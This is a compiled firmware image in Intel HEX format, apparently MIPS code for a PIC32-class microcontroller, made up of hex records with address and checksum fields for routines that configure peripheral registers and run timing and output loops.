:100ec800000000001800c28f010042241800c2afc1
:100ed8001800c38f4800c28f2b106200e8ff40142f
:100ee8000000000021200000e30d410f0000000079
:100ef80021e8c0034400bf8f4000be8f4800bd27d3
:100f08000800e00300000000a0ffbd275c00bfafa1
:100f18005800beaf21f0a003059d023cd0664324d3
:100f28000300638821286000d0664598d066432472
:100f38000700648804006498d06643240b00668820
:100f48002138c000080067982118e000d0664224c4
:100f58000f0046882138c0000c0047982110e00097
:100f68003400c5af3800c4af3c00c3af4000c2afc7
:100f7800b292023cf2724234d24a03241300400077
:100f88001100600012100000101800002000c2af0d
:100f98002400c3afea96023c92c242342800c2af92
:100fa800a24e023ca67642342c00c2af4800c227ab
:100fb8002800c38f1000a3af2c00c38f1400a3af69
:100fc800212040002000c68f2400c78fba01410f9e
:100fd800000000001800c0af0f04410b0000000023
:100fe8004800c22721204000080005241003410fb3
:100ff800000000003000c2a31800c28f1800c327e9
:10100800211062001c0042903100c2a33000c3933b
:101018003100c2930400621000000000211000009b
:101028001404410b000000001800c28f0100422484
:101038001800c2af1800c28f1000422ce8ff4014fd
:10104800000000000100022421e8c0035c00bf8ffb
:101058005800be8f6000bd270800e00300000000b4
:020000040000fa
:020000041d04d9
:1010680078ffbd278400bfaf8000beaf7c00b7af5c
:101078007800b6af7400b5af7000b4af6c00b3af12
:101088006800b2af6400b1af6000b0af00a0133c1d
:10109800059d163ca13cd6269000a6af7c6f64ae99
:1010a80021a000005800a0af0000b0909a000012e4
:1010b8000100b5242110d00200004280880042308f
:1010c800a2004014250002248b0002162188a002e9
:1010d8000100b28021800000040003245400a3af63
:1010e8005000a0af04001e24ff0052327900422ea7
:1010f800630140100100352680101200049d043c55
:101108001c118424211082000000428c0800400039
:10111800000000006413049d8816049d8816049d31
:101128008816049d8816049d8816049d8816049dbb
:101138008816049d8816049d8816049d8816049dab
:101148008816049d8816049d8816049d8816049d9b
:101158008816049d8816049d8816049d8816049d8b
:101168008816049d8816049d8816049d8816049d7b
:101178008816049d8816049d8816049d8816049d6b
:101188008816049d8816049d8816049d8816049d5b
:101198008816049d8816049d8816049d8816049d4b
:1011a8008816049d8816049d8816049d8816049d3b
:1011b8008816049d8816049d8816049d8017049d32
:1011c8008816049d8816049d8816049d8816049d1b
:1011d8008816049d8816049d8816049d8816049d0b
:1011e8008816049d8816049d8816049d8816049dfb
:1011f8008816049d8816049d8816049d8816049deb
:101208008816049d8816049d8816049d8816049dda
:101218008816049d8816049d8816049d8816049dca
:101228008816049d8816049dec16049d8816049d56
:10123800ec16049d8816049d8816049d8816049d46
:101248008816049d9c17049d8816049d8816049d85
:101258008816049d8816049d8816049d8816049d8a
:101268008816049d8816049d8816049d8816049d7a
:101278008816049d1016049d8816049d8816049de2
:101288008816049d8816049d8816049d8816049d5a
:101298008816049d8816049d8816049d8816049d4a
:1012a8002416049d1c16049dec16049dec16049d42
:1012b800ec16049d6816049d1c16049d8816049d52
:1012c8008816049d9c17049d8816049d8816049d05
:1012d800b013049d8816049d8816049d8816049de5
:1012e8005c15049d8816049d1c16049d8816049d93
:1012f8008816049dd014049d694f410f7c6f648e3d
:1013080052010216ffff03242128a0020000b0901a
:1013180068ff00160100b5245800a28f8400bf8f13
:101328008000be8f7c00b78f7800b68f7400b58fb1
:101338007000b48f6c00b38f6800b28f6400b18ff7
:101348006000b08f0800e0038800bd276356410f96
:1013580000000000c504410b2128a0025800a48ffa
:1013680040018014211080007c6f628e0c00429432
:101378000001427c231002008400bf8f8000be8fd2
:101388007c00b78f7800b68f7400b58f7000b48f6b
:101398006c00b38f6800b28f6400b18f6000b08fab
:1013a8000800e0038800bd27080012246356410f97
:1013b800000000007c6f648e694f410f5c00a0af95
:1013c800218840002d0002244a00221200a0033c7c
:1013d80021202002212840029b52410f2130800207
:1013e800ff000324500043107c6f658e30000224f8
:1013f8003d012212000000000c05410b21f0000005
:10140800694f410f7c6f648e218840002120400085
:10141800212840029b52410f21308002ff00032403
:101428000b0043102120200202f0d2732120200259
:10143800212840029b52410f21308002ffff1026d5
:101448002084107ceeff001621f0c2032120200228
:10145800212840029b52410f21308002ff000424c2
:10146800550144107c6f658e23101e005c00a38f0d
:101478000bf043005000a38fa4ff60142128a002a2
:101488005800a48f01008224ff0042305800a2af08
:10149800040002245400a38f0400621002000224f6
:1014a8005400a38f480162109000a38f9000a38f6f
:1014b8000000628c040063249000a3af00005eacbf
:1014c800c504410b2128a002100012246356410fc5
:1014d80021a000007c6f648e694f410f5c00a0afb3
:1014e800218840002d000224baff22162120200264
:1014f80000a0033c7c6f648c01000324694f410ffa
:101508005c00a3af2188400021202002212840024e
:101518009b52410f21308002ff000324b4ff431483
:10152800300002247c6f658e7555410f2120200202
:101538005800a48fcb0080542110800000a0023cea
:101548007c6f428c0c0042940001427ce004410b09
:10155800231002006356410f000000005000a38fc3
:10156800d40060109000a38f694f410f7c6f648e88
:10157800ffff0324d80043505800a28f12004014e4
:10158800010043247c05410b5000a38f1d0162100c
:101598005000a38f03006014ffff10260000e2a292
:1015a8000100f7262084107c0f0000125000a38f42
:1015b800694f410f7c6f648e010043240200642c44
:1015c800090080545000a38f059d043ca03c84244e
:1015d800211883000000638088006330ebff6050af
:1015e800010023825000a38f48ff60142128a00225
:1015f8005800a48f01008224ff0042305800a2af97
:10160800c504410b0000e0a210001224ed04410bb8
:1016180001001424ed04410b0a0012245000a38f8a
:101628009c0060105800a48fffff1124694f410fe0
:101638007c6f648e870051105000a38f03006014e4
:10164800ffff10260000e2a20100f7262084107c8c
:10165800f6ff001e2128a002c604410b0000b0902e
:1016680001003282020003245400a3af2188a002a3
:10167800ff0052327900422e9ffe401401003526a9
:101688002110d2020000429004004230e8004010cd
:1016980000000000ef52410f212020020100328299
:1016a8002084027c059d043ca13c84242110440232
:1016b80000004290040042308bfe40102188a002b6
:1016c80001003126000032822110d202000042902f
:1016d80004004230fbff4054010031263d04410b19
:1016e800ff0052326356410f000000007c6f648e89
:1016f8003b000224694f410f0a8050002d0003244b
:10170800c200431000a0033c1000a3275c00a3af55
:1017180001007e24219000002e00112406000012f2
:10172800ffffd7272120c2020000849004008430e4
:1017380009008014000000001d0040160000000091
:101748001b00511400000000ffffd1a30100522626
:10175800da05410bff005232fcff5110ffffc2a314
:101768007c6f648e694f410f0100de27ffff102652
:10177800c905410b2084107c5000a38f010062240e
:1017880001003282ff0042305000a2af3c04410bfe
:101798002188a0025400a38fb4ff7e10010032827a
:1017a800080003245400a3af3c04410b2188a00285
:1017b800060000122188e002dfff042424204400f0
:1017c80045000324550083107c6f648effff0324bb
:1017d800040043100000e0a27c6f658e7555410f30
:1017e800212040005c00a38fdcfe77105000a38fff
:1017f800c6fe60142128a0025800a48f010083248b
:101808005400a48f0500822cff0063305800a3af5a
:10181800730040149000a38f0000708c21280000f2
:10182800e558410f5c00a48f212040009000a38f51
:101838004652410f04007124000002ae040003aeba
:101848009000b1afc504410b2128a0027f004314ca
:1018580000a0033c5800a48fc7fe8010ffff02249d
:10186800211080008400bf8f8000be8f7c00b78f5e
:101878007800b68f7400b58f7000b48f6c00b38f8a
:101888006800b28f6400b18f6000b08f0800e00379
:101898008800bd27010082249000a38f0000778c68
:1018a800ff0042305800a2af040063248c05410bae
:1018b8009000a3af0000778c040063249000a3afce
:1018c800694f410f7c6f648effff03242bff431485
:1018d800000000005800a28fa8fe40148400bf8fab
:1018e800e004410bffff0224694f410f7c6f648eb7
:1018f800780003242a004310580003242a004314c4
:101908007c6f658e2800801200000000694f410f2f
:101918007c6f648e0005410b218840000000e2a224
:10192800694f410fff001032ffff0326201c037c84
:10193800a6ff60100100f7262d000424480044107b
:101948002b000424470044107c6f648e2120c202bf
:1019580000008490040084309cff8010ffff632403
:10196800ff007030010010266206410b2180f00252
:10197800000063900400633095ff6010ffff0324ac
:101988007c6f648e0100f726694f410fffffe2a2ca
:10199800f7fff0562118c202f605410bffff03249a
:1019a800daff80127c6f658e7555410f212040004b
:1019b8000c05410b21f000007555410f2120200234
:1019c8001d05410b23101e000000628c04006324d7
:1019d8009000a3af00005ea4c504410b2128a0021b
:1019e8000000718c5c00a48f212800003559410f3c
:1019f80004007024000022ae9000b0afc504410b73
:101a08002128a0027b05410b020035267c6f648cdf
:101a18001000a2a31000a327694f410f5c00a3afd9
:101a2800ffff10262084107cc605410b1100a32758
:101a3800694f410f7c6f648e33fe4212ffff03240f
:101a4800a5ff43505800a28f00a0033c7c6f658c13
:101a58007555410f21204000e004410b5800a28f2a
:101a68007c6f648e010022a2694f410f0200372665
:101a7800feff0326201c037cb5ff60142120c20250
:081a8800f605410bffff0324ea
:020000040000fa
:020000041d04d9
:101a9000c0ffbd273c00bfaf3800beaf3400b0afc1
:101aa00021f0a0034000c4af4400c5af4800c6af5a
:101ab0004c00c7af5400c38f6400c28f2800c3a37b
:101ac0002c00c2a31800c0af2000c0a32100c0a3f7
:101ad0006000c28f050040100000000001000224d9
:101ae0002200c2a3bd06410b000000000200022438
:101af0002200c2a32200c3934c00c28f18006200d0
:101b00005800c28f1000a2af5c00c28f1400a2afb9
:101b10004000c48f4400c58f00a0023cdc1c46245a
:101b2000123800003608410f000000009480828fb8
:101b30000400401000000000211000007a07410b53
:101b4000000000005800c28f060040100000000096
:101b500001000424e30d410f00000000e906410be1
:101b600000000000e906410b000000005800c28f91
:101b70000c0040100000000021200000e30d410f88
:101b800000000000211840005800c28f2b104300b5
:101b90000400401000000000211000007a07410bf3
:101ba0000000000088bf023ca061428c400042302f
:101bb000eeff401000000000f080828f0400401013
:101bc00000000000211000007a07410b0000000017
:101bd0005a07410b000000002000c0a31c00c0af4a
:101be0001c00c28f1800c2af2607410b0000000086
:101bf00000a0023cdc1c43241800c28f21106200ac
:101c000000004290218040001c00c28fc2100200e0
:101c10005000c38f21106200000042902118400044
:101c20001c00c28f271002000700423021206000f4
:101c30002128400029ba400f0000000006000216cb
:101c4000000000001c00c28f010042241c00c2af33
:101c50001b07410b000000001800c38f1c00c28f3f
:101c6000231062001800c2af1c00c0af2800c3934d
:101c70001c00c28f05006214000000000100022455
:101c80002000c2a32e07410b000000001800c28fe5
:101c9000010042241800c2af2200c3934c00c28f3f
:101ca000180062001800c28f121800002b104300a9
:101cb000cfff4014000000002800c2931800c38f1b
:101cc00023106200010042241800c2af2000c2931a
:101cd00003004010000000005d07410b0000000001
:101ce0002100c293040040100000000021100000f9
:101cf0007a07410b00000000010002242100c2a36a
:101d00001800c0af5207410b0000000000a0023cc9
:101d1000dc1c43241800c28f211062000000429096
:101d200001004238ff00433000a0023cdc1c442488
:101d30001800c28f21108200000043a01800c28f3b
:101d4000010042241800c2af2200c3934c00c28f8e
:101d5000180062001800c28f121800002b104300f8
:101d6000eaff4014000000002800c2939aff4014cc
:101d7000000000002c00c393010002240c00621438
:101d8000000000001800c38f00a0023cdc1c4224ad
:101d9000211062004800c48f212840004c00c68feb
:101da00047b9400f000000007a07410b0000000017
:101db0001800c38f00a0023cdc1c422421106200ea
:101dc0004800c48f212840004c00c68f214b410f92
:101dd000000000004800c38f4c00c28f2110620039
:101de000000040a04c00c28f21e8c0033c00bf8f20
:101df0003800be8f3400b08f4000bd270800e003dc
:101e000000000000d8febd272401bfaf2001beaff7
:101e100021f0a0032801c4af2c01c5af3001c6af2b
:101e20003401c7af1c00c227212040002801c58f04
:101e3000cbb8400f000000001800c2af1800c28fde
:101e4000040040140000000021100000a007410b16
:101e5000000000001c00c2273401c38f1000a3af94
:101e60003801c38f1400a3af212040001800c58f94
:101e70002c01c68f3001c78fa607410f000000005c
:101e800021e8c0032401bf8f2001be8f2801bd2798
:101e90000800e00300000000e0fdbd271c02bfaf0a
:101ea0001802beaf21f0a0032002c4af2402c5afc8
:101eb0002802c6af2c02c7af00a0023cdc56422469
:101ec000cc00428c0a004010000000001800c2271d
:101ed000212040002002c58f2402c68f51bb400f35
:101ee000000000002402c2afc207410b0000000046
:101ef0001800c227212040002002c58f2402c68f6f
:101f0000214b410f000000002402c28f1800c3279c
:101f1000211062002a000324000043a03402c28f73
:101f20001000a2af2802c48f1800c2272128400049
:101f30002c02c68f3002c78fd707410f0000000068
:101f40000100022421e8c0031c02bf8f1802be8fcb
:101f50002002bd270800e00300000000e8ffbd27c5
:101f60001400bfaf1000beaf21f0a0031800c4af33
:101f70001c00c5af2000c6af2400c7af1800c38f38
:101f8000cccc023ccdcc42341900620010100000d1
:101f9000c2100200c01002001800c2af1800c28fa9
:101fa000401002001800c2af1c00c28f0000429017
:101fb000088282a31c00c28f01004224148282afd7
:101fc0001c00c28f1c8282af2000c28f288282af89
:101fd0002400c28fff004230098282a32800c28ff2
:101fe000208282af04000224808082a3c40c410faf
:101ff0000000000088bf023c00100324641043acc2
:1020000088bf023c681040ac80bf023c000a40ac74
:1020100088bf033c20616294444a027c206162a430
:1020200088bf033cd06062940421027cd06062a42b
:1020300088bf033c60606294010004240421827c18
:10204000606062a488bf033c206162940400027c4b
:10205000206162a480bf023c000a40ac80bf023c09
:10206000100a40ac1800c28f42100200ffff432448
:1020700080bf023c200a43ac80bf023c0080033496
:10208000080a43ac88bf023c1c000324c41043acc4
:1020900088bf023c18000324c81043ac88bf023c30
:1020a00000100324341043ac88bf023c001003240a
:1020b000641043ac88bf023c00100324681043ac9a
:1020c00021e8c0031400bf8f1000be8f1800bd2789
:1020d0000800e00300000000e0ffbd271c00bfafc8
:1020e0001800beaf21f0a0032000c4af2400c5af8c
:1020f0002800c6af2c00c7af2800c28f148282af61
:102100002c00c28f348282af3400c28f3c8282aff7
:10211000f08080af1482828f2120400021280000af
:102120002c00c68f7152410f0000000088bf023c96
:102130000002033c741043ac88bf023c2061428c17
:10214000020042301b004010000000002000c28f3f
:102150004210020003000424212840002000c68f02
:1021600008000724b20b410f0000000000a0023c51
:10217000dc5642249c00438c00a0023cdc564224e6
:10218000f000428c18006200122000001000c4af62
:10219000eb51023c1f8542341000c38f19006200ce
:1021a000101000004211020021204000240e410fb7
:1021b0000000000001000424e30d410f00000000b6
:1021c0007f08410b000000003000c28f0b00401060
:1021d0000000000021200000e30d410f000000007e
:1021e000211840003000c28f2b1043000300401024
:1021f00000000000aa08410b0000000088bf023c5c
:10220000d060428c00014230efff4014000000001b
:102210009308410b000000003000c28f0b004010fb
:102220000000000021200000e30d410f000000002d
:10223000211840003000c28f2b10430003004010d3
:1022400000000000aa08410b0000000088bf023c0b
:10225000d060428c00014230efff401000000000cf
:1022600001000424e30d410f000000002000c38f93
:10227000cccc023ccdcc42341900620010100000de
:10228000c21802002400c28f180062001218000059
:10229000c0100300ffff422421204000010005245c
:1022a000510c410f0000000021e8c0031c00bf8f4b
:1022b0001800be8f2000bd270800e00300000000ca
:1022c000c0fdbd273c02bfaf3802beaf21f0a00366
:1022d0004002c4af010002242c00c2af3000c2276c
:1022e0002120400030000524000206247152410fd5
:1022f000000000003002c0a300a0023cdc564224d3
:102300009c00448c00a0023cdc564224a400458c76
:1023100000a0023cdc564224b000428c00a0033cea
:10232000dc566324bc0063902140600000a0033ca5
:10233000dc5663248c00678c00a0033cdc566324cd
:102340008800668c3000c32700a0093c99572925d6
:102350001000a9af1400a8af1800a7af1c00a6afcb
:102360002000a0af010006242400a6af21306000a9
:1023700021384000a406410f000000000100422c5b
:10238000ff0042302118400000a0023cdc564224ed
:10239000b000428c04006214000000002110000014
:1023a0000d09410b000000002800c0aff808410be8
:1023b000000000002800c28f2800c32721106200ff
:1023c0000800439030000224020062100000000068
:1023d0002c00c0af2800c28f010042242800c2afe9
:1023e0003000c227212040007b4b410f000000003d
:1023f000211840002800c28f2b104300edff40142d
:10240000000000002c00c28f0400401000000000fb
:10241000211000000d09410b000000003000c22710
:102420004002c48f21284000574a410f000000009d
:102430000100022421e8c0033c02bf8f3802be8f96
:102440004002bd270800e00300000000e8ffbd27b0
:102450001400bfaf1000beaf21f0a0031800c4af3e
:102460001c00c5af1c00c28f000042800400401455
:1024700000000000211000002509410b00000000b1
:102480001800c48f1c00c58f574a410f0000000080
:102490000100022421e8c0031400bf8f1000be8f8a
:1024a0001800bd270800e00300000000f8ffbd276a
:1024b0000400beaf21f0a0030800c4af88bf023cf7
:1024c00002000324741043ac88bf023c781040ac77
:1024d00081bf023c00800334049043ac81bf023cc6
:1024e0000b00033c409043ac0800c28f1500401025
:1024f0000000000088bf023c00080324486043ac91
:1025000081bf023c00080324649043ac81bf023cbd
:10251000ffff033c509043ac81bf023c008003347a
:10252000209043ac81bf023c3f000324109043ac99
:1025300081bf023ce4000324009043ac6309410bdb
:102540000000000088bf023c00080324486043ac40
:1025500081bf023c00080324649043ac81bf023c6d
:10256000ffff033c509043ac81bf023c008003342a
:10257000209043ac81bf023c03000324109043ac85
:1025800081bf023ce4000324009043ac81bf023cc5
:1025900000800334089043ac0000000088bf023c78
:1025a0004010428c02004230fcff4010000000004e
:1025b00021e8c0030400be8f0800bd270800e00327
:1025c00000000000d8ffbd272400bfaf2000beaf31
:1025d0001c00b0af21f0a0032800c4af2c00c5af91
:1025e0002800c28fffff4224421302000100422450
:1025f0001400c2af212000002b09410f0000000091
:1026000001000224948082af2c00c28f030040148a
:102610000000000001000224848082af00a0023c80
:102620005c454424c62c410f000000001000c0afe0
:10263000ae09410b000000001000c38f1400c28fd0
:102640001b006200f4014000101000001280000026
:102650000365400f000000003c004224831002008c
:10266000ff004330fcff022424106200ff004330cf
:1026700088bf023cd060428c0002427cff004230a6
:1026800040100200ff00423021106200ff00433082
:102690009080829321106200ff00433000a0023c32
:1026a000dc24422421100202000043a01000c28f4b
:1026b000010042241000c2af1000c38f2800c28f57
:1026c0002b106200dcff401400000000948080affb
:1026d000848080afc40c410f0000000021e8c003db
:1026e0002400bf8f2000be8f1c00b08f2800bd27a4
:1026f0000800e00300000000d0ffbd272c00bfafa2
:102700002800beaf21f0a0033000c4af1800c0a362
:102710001c00c0af2000c0af2400c0a73000c28f93
:102720000120422c0300401400000000002002247d
:102730003000c2aff0bd400f00000000059d023c1c
:102740004c1c44241800c2272128400000be400f22
:1027500000000000059d023c5c1c4424059d023cd9
:10276000681c45241800c2272130400070be400f6d
:1027700000000000059d023c881c44241800c2276c
:102780002128400000be400f00000000059d023cd3
:102790005c1c4424059d023c8c1c45241800c22767
:1027a0002130400070be400f00000000059d023c3b
:1027b0009c1c44241800c2272128400000be400f62
:1027c00000000000059d023c5c1c4424059d023c69
:1027d000a81c45241800c2272130400070be400fbd
:1027e0000000000000a0023cdc564224870042901a
:1027f0002118400000a0023c801803004c714224c4
:10280000211062000000428c059d033cb41c64242e
:10281000212840001800c2272130400070be400f20
:1028200000000000059d023c9c1c44241800c227a7
:102830002128400022be400f00000000059d023c00
:10284000bc1c44241800c2272128400000be400fb1
:1028500000000000059d023c5c1c4424059d023cd8
:10286000c81c45241800c2272130400070be400f0c
:102870000000000000a0023cdc564224a000429070
:102880002118400000a0023c80180300a8714224d7
:10289000211062000000428c059d033cb41c64249e
:1028a000212840001800c2272130400070be400f90
:1028b00000000000059d023cbc1c44241800c227f7
:1028c0002128400022be400f00000000059d023c70
:1028d000dc1c44241800c2272128400000be400f01
:1028e00000000000059d023c5c1c4424059d023c48
:1028f000e81c45241800c2272130400070be400f5c
:102900000000000000a0023cdc564224a400428cdf
:102910001c00c327212060000a000524059d033cfc
:10292000041d662421384000d158410f00000000ea
:102930001c00c227059d033cb41c642421284000d0
:102940001800c2272130400070be400f0000000078
:10295000059d023cdc1c44241800c22721284000ad
:1029600022be400f00000000059d023c881c44244c
:102970001800c2272128400022be400f000000009e
:10298000059d023c081d44241800c2272128400050
:1029900000be400f00000000059d023c5c1c44246a
:1029a000059d023c101d45241800c227213040001f
:1029b00070be400f00000000059d023c341d442401
:1029c0001800c2272128400000be400f0000000070
:1029d000059d023c5c1c4424059d023c401d452491
:1029e0001800c2272130400070be400f00000000d8
:1029f0001900c227212000002128000021304000ba
:102a0000ac2a410f000000001900c293059d033c51
:102a1000b41c6424212840001800c2272130400043
:102a20008bbe400f00000000059d023c341d442475
:102a30001800c2272128400022be400f00000000dd
:102a4000059d023c5c1d44241800c227212840003b
:102a500000be400f00000000059d023c5c1c4424a9
:102a6000059d023c641d45241800c227213040000a
:102a700070be400f000000001900c22701000424ae
:102a80002128000021304000ac2a410f0000000046
:102a90001900c293059d033cb41c64242128400006
:102aa0001800c227213040008bbe400f00000000fc
:102ab000059d023c5c1d44241800c22721284000cb
:102ac00022be400f00000000059d023c081d44246a
:102ad0001800c2272128400022be400f000000003d
:102ae000059d023c801d44241800c2272128400077
:102af00000be400f00000000059d023c5c1c442409
:102b0000059d023c881d45241800c2272130400045
:102b100070be400f00000000059d023ca41d44242f
:102b20001800c2272128400000be400f000000000e
:102b3000059d023c5c1c4424059d023cb01d4524bf
:102b40001800c2272130400070be400f0000000076
:102b50001800c2271000a2af059d023cb41c4424fb
:102b600000a0023cdc244524fcff06243000c78f73
:102b7000e5be400f00000000059d023ca41d44245a
:102b80001800c2272128400022be400f000000008c
:102b9000059d023cd01d44241800c2272128400076
:102ba00000be400f00000000059d023c5c1c442458
:102bb000059d023ce01d45241800c227213040003d
:102bc00070be400f000000001800c2271000a2af26
:102bd000059d023cb41c442400a0023cdc24452496
:102be000020006243000c78fe5be400f0000000041
:102bf000059d023cd01d44241800c2272128400016
:102c000022be400f00000000059d023c141e44241b
:102c10001800c2272128400000be400f000000001d
:102c2000059d023c5c1c4424059d023c201e45245d
:102c30001800c2272130400070be400f0000000085
:102c40001800c2271000a2af059d023cb41c44240a
:102c500000a0023cdc244524010006243000c78f7c
:102c6000e5be400f00000000059d023c141e4424f8
:102c70001800c2272128400022be400f000000009b
:102c8000059d023c801d44241800c22721284000d5
:102c900022be400f00000000059d023c4c1c442455
:102ca0001800c2272128400022be400f000000006b
:102cb000059d023c481e4424059d023c4c1e4524b3
:102cc0000413410f0000000021e8c0032c00bf8f57
:102cd0002800be8f3000bd270800e0030000000080
:102ce000c8ffbd273400bfaf3000beaf21f0a00346
:102cf0001800c0af2000c0afc40c410f000000009e
:102d0000059d023c601e428c1c00c2afa40b410b0f
:102d100000000000059d023c641e448c1c00c58f11
:102d20008746410f0000000021184000059d023c2d
:102d300021206000681e458ca948410f000000005a
:102d4000212040001b55410f000000002400c2afad
:102d50002400c28f421002000300042421284000f6
:102d60002400c68f08000724b20b410f00000000aa
:102d7000212000002b09410f000000000100023c4f
:102d8000a0864434240e410f000000001000c0afa4
:102d90001400c0af780b410b000000000365400f2a
:102da000000000002800c2af1000c28fd107422ce3
:102db00008004014000000002800c38f1400c28fd8
:102dc0002b10430003004010000000002800c28fb9
:102dd0001400c2af1000c28f010042241000c2af25
:102de0001000c28f1027422cecff4014000000009e
:102df0001c00c48f1b55410f00000000059d033cc3
:102e0000501e6424212840006913410f0000000077
:102e1000059d023c581e44241400c58f6913410fc0
:102e2000000000001400c38f1800c28f2b10430055
:102e300007004010000000001400c28f1800c2af4d
:102e40001c00c48f1b55410f000000002000c2afc2
:102e5000c40c410f0000000088bf023c02000324a4
:102e6000741043ac88bf023c781040ac81bf023c78
:102e700000800334049043ac059d023c1c00c48fc9
:102e80006c1e458c4f45410f000000001c00c2af76
:102e9000059d023c1c00c48f701e458cbb53410f26
:102ea000000000009bff4004000000002000c28fd3
:102eb00021e8c0033400bf8f3000be8f3800bd272b
:102ec0000800e00300000000e8ffbd271400bfafca
:102ed0001000beaf21f0a003211880001c00c5af78
:102ee0002000c6af2110e0001800c3a32400c2a335
:102ef00088bf033c606062940421027c606062a42d
:102f0000c40c410f0000000088bf023c4000033c9d
:102f1000641043ac88bf023c681040ac88bf023ce0
:102f20004000033c341043ac80bf023c00800334bb
:102f3000043843ac2000c38fcccc023ccdcc42340f
:102f40001900620010100000c2100200c010020040
:102f5000c218020080bf023c203843ac2000c38f5f
:102f6000cccc023ccdcc42341900620010100000e1
:102f7000c2100200c0100200c218020080bf023c52
:102f8000103843ac80bf023c0b800334003843aca4
:102f900088bf023c4000033c641043ac88bf023c45
:102fa000681040ac88bf023c4000033c341043ac86
:102fb00080bf023c00800334043843ac88bf033c2c
:102fc000e060629401000424c45a827ce06062a440
:102fd000f88080afffff0224348082a38480828f38
:102fe0000c0040100000000088bf033c2061629488
:102ff00001000424444a827c206162a488bf033c0f
:10300000a0616294444a027ca06162a44b0c410b13
:103010000000000088bf033c20616294444a027ca7
:10302000206162a42400c2939c8082a31800c293f2
:1030300008804234c48082af2000c38f1c00c28f3e
:103040001b006200f401400010100000121000008c
:103050002000c38f1b006200f4014000101000002c
:1030600012180000cccc023ccdcc423419006200d6
:103070001010000002110200c0100200c88082afd0
:10308000c880828fcc8082afcc80838f80bf023c8f
:10309000203843acc880838f80bf023c103843acdb
:1030a000c480838f80bf023c003843ac80bf023ca9
:1030b000000a40ac80bf023c100a40ac2000c38f25
:1030c000cccc023ccdcc4234190062001010000080
:1030d00002110200c0100200ffff432480bf023c27
:1030e000200a43ac80bf023c00800334080a43ac92
:1030f00088bf023c1c00033ce41043ac88bf023c88
:103100001400033ce81043ac88bf023c4000033c81
:10311000341043ac88bf023c4000033c641043ac15
:1031200088bf023c4000033c681043ac21e8c00368
:103130001400bf8f1000be8f1800bd270800e003e9
:1031400000000000f8ffbd270400beaf21f0a0037f
:103150000800c4af0c00c5af0c00c28fff004230a6
:1031600001004230ff00443088bf033c3010628cc5
:103170000484827c301062ac88bf023c1c000324b3
:10318000d41043ac88bf023c18000324d81043acd1
:1031900080bf023c000c40ac80bf023c100c40ac35
:1031a00080bf023c0800c38f200c43ac80bf023cb0
:1031b00000800334080c43ac88bf023c0100033c90
:1031c000641043ac88bf023c0100033c681043ac70
:1031d00088bf033ca06162948431027ca06162a438
:1031e00088bf033ce060629401000424c45a827cde
:1031f000e06062a421e8c0030400be8f0800bd2780
:103200000800e00300000000f8ffbd270400beaf87
:1032100021f0a0030800c4af2110a0000c00c2a33d
:1032200001000224308082af000000003080828fd5
:10323000feff40140000000088bf033c2061629440
:1032400001000424444a827c206162a40c00c293e1
:1032500001004230ff00443088bf033ca06162940b
:10326000444a827ca06162a40800c28f4010020020
:103270000800c2af000000003882838f0800c28fb0
:103280002b104300fcff40100000000088bf033cef
:1032900020616294444a027c206162a421e8c00358
:1032a0000400be8f0800bd270800e00300000000f6
:1032b000f8ffbd270400beaf21f0a0030800c4af93
:1032c00001000224308082af000000003080828f35
:1032d000feff4014000000000800c28f40100200f2
:1032e0000800c2af000000003882838f0800c28f40
:1032f0002b104300fcff40100000000021e8c00339
:103300000400be8f0800bd270800e0030000000095
:10331000e8ffbd271400bfaf1000beaf21f0a0032f
:10332000f80c410f0000000088bf023c001003248d
:10333000641043ac88bf023c681040ac80bf023cc4
:10334000000a40ac88bf023c4000033c641043ac20
:1033500088bf023c681040ac88bf023c4000033c80
:10336000341043ac80bf023c00800334043843accb
:1033700088bf033c20616294010004244408827cdd
:10338000206162a488bf033c206162940100042490
:103390000400827c206162a488bf033c20616294a7
:1033a00001000424444a827c206162a488bf033c5b
:1033b000a0616294444a027ca06162a488bf023c7e
:1033c0000002033c781043ac21e8c0031400bf8f17
:1033d0001000be8f1800bd270800e00300000000a9
:1033e000f8ffbd270400beaf21f0a00388bf023c58
:1033f0000100033c641043ac88bf023c681040ac41
:1034000080bf023c000c40ac88bf033ca0616294ca
:10341000010004248431827ca06162a421e8c003fd
:103420000400be8f0800bd270800e0030000000074
:10343000e0ffbd271c00bfaf1800beaf21f0a00306
:1034400001000424e30d410f0000000001000424ea
:10345000240e410f0000000021200000e30d410f69
:10346000000000001000c2af21200000fb0d410f42
:1034700000000000059d033c5851642421284000b1
:103480006913410f00000000059d023c6451442473
:103490001000c58f6913410f00000000059d023c1c
:1034a00070514424059d023c745145240413410f7e
:1034b0000000000001000424e30d410f00000000a3
:1034c0000a000424240e410f000000002120000007
:1034d000e30d410f000000001000c2af21200000ea
:1034e000fb0d410f00000000059d033c5851642472
:1034f000212840006913410f00000000059d023c97
:10350000785144241000c58f6913410f000000005a
:10351000059d023c70514424059d023c7451452494
:103520000413410f0000000001000424e30d410fcb
:103530000000000064000424240e410f000000007d
:1035400021200000e30d410f000000001000c2af79
:1035500021200000fb0d410f00000000059d033cf1
:1035600058516424212840006913410f00000000d5
:10357000059d023c845144241000c58f6913410ffe
:1035800000000000059d023c70514424059d023c52
:10359000745145240413410f00000000010004246d
:1035a000e30d410f00000000e8030424240e410f46
:1035b0000000000021200000e30d410f000000008a
:1035c0001000c2af21200000fb0d410f00000000e1
:1035d000059d033c58516424212840006913410f84
:1035e00000000000059d023c945144241000c58f4a
:1035f0006913410f00000000059d023c70514424f6
:10360000059d023c745145240413410f0000000045
:1036100001000424e30d410f0000000010270424e2
:10362000240e410f0000000021200000e30d410f97
:10363000000000001000c2af21200000fb0d410f70
:1036400000000000059d033c5851642421284000df
:103650006913410f00000000059d023ca451442461
:103660001000c58f6913410f00000000059d023c4a
:1036700070514424059d023c745145240413410fac
:103680000000000001000424e30d410f00000000d1
:103690000100023ca0864434240e410f00000000cb
:1036a00021200000e30d410f000000001000c2af18
:1036b00021200000fb0d410f00000000059d033c90
:1036c00058516424212840006913410f0000000074
:1036d000059d023cb45144241000c58f6913410f6d
:1036e00000000000059d023c70514424059d023cf1
:1036f000745145240413410f00000000010004240c
:10370000e30d410f000000000f00023c4042443432
:10371000240e410f0000000021200000e30d410fa6
:10372000000000001000c2af21200000fb0d410f7f
:1037300000000000059d033c5851642421284000ee
:103740006913410f00000000059d023cc85144244c
:103750001000c58f6913410f00000000059d023c59
:1037600070514424059d023c745145240413410fbb
:103770000000000021e8c0031c00bf8f1800be8fae
:103780002000bd270800e00300000000f0ffbd2777
:103790000c00beaf21f0a003211080001000c2a3d6
:1037a00080bf023c100e428c0000c2af1000c293da
:1037b000030040100000000080bf023c100e40ac2f
